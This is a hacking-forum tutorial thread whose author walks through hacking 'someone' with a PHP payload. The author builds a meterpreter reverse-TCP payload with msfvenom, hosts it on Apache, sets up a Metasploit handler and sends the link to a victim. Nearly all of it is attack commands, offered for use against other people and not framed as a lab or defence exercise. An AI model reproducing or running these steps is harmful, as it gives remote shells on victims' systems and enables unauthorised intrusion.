Tutorial How to hack someone using a PHP payload

Tutorial How to hack someone using a PHP payload - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.li/Forum-Tutorials)
+--- Thread: Tutorial How to hack someone using a PHP payload (/Thread-Tutorial-How-to-hack-someone-using-a-PHP-payload)

How to hack someone using a PHP payload - 1337Wolf - 09-30-2020

So lets make payloads with php using msfvemon

What is msfvemon?? well metasploit framework venom is a payload gen used on Linunx to generate payloads for exploitation

Lets start by starting apache2 so open terminal and type

Code:
service apache2 start

Step 1:

Now we need our local ip or external ip for local ip enter

Code:
ifconfig

and for external google whats my ip
Note if using external link u need to forward the ports on your router

Step 2:

Now you have the local ip, so lets make the payload
Enter this command:

Code:
msfvenom -p php/meterpreter/reverse_tcp LHOST= 192.168.8.107 LPORT=4444 -e php/base64 -f raw > /root/Desktop/Home.php

Step 3:

Now go to the Desktop and copy the payload to your html file in /var/ww w/html folder
Remove the space ^^

Step 4:

Now open a new terminal and type

Code:
msfconsole

Step 5:

Type these commands:

Code:
use exploit/multi/handler/

Code:
set payload php/meterpreter/reverse_tcp

Code:
set lhost [your local ip]

Code:
set lport 4444

Code:
exploit

Step 6:

Now send the victum the link 192.168.8.107:4444/Home.php

Step 7:

Now type help and you get a full list commands you can run under metasploit 🙂

If anyone wants to leave room for improvement, you can do so Smile